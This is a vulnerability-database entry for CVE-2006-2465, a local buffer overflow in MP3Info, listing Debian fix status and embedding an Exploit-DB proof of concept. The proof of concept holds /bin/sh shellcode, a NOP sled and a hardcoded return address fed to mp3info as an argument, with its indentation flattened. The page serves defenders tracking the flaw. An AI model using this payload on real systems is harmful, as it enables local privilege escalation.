CVE-2006-2465
Description
Buffer overflow in MP3Info 0.8.4 allows attackers to execute arbitrary code via a long command line argument. NOTE: if mp3info is not installed setuid or setgid in any reasonable context, then this issue might not be a vulnerability.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
MP3Info 0.8.5a - Buffer Overflow
# Waste of CPU clock N2
# Exploit for: mp3info! Latest version
# Author: jsacco - jsacco@exploitpack.com
# Vendor: http://ibiblio.org/mp3info/
# No-one-cares-about programs!
junk = "\x90\x90\x90\x90"*8
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
buffer = "\x90\x90\x90\x90"*89
eip = "\x10\xf0\xff\xbf"
print "# MP3info is prone to a Stack-BoF"
print "# Wasting CPU clocks on unusable exploits"
print "# This is exploit is for educational purposes"
try:
subprocess.call(["mp3info", junk+shellcode+buffer+eip])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "MP3Info not found!"
else:
print "Error executing exploit"
raiseMP3Info 0.8.5a - Local Buffer Overflow (SEH)
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 0.8.4-9.1 |
| sid | Fixed | 0.8.4-9.1 |
| forky | Fixed | 0.8.4-9.1 |
| bullseye | Fixed | 0.8.4-9.1 |
| bookworm | Fixed | 0.8.4-9.1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
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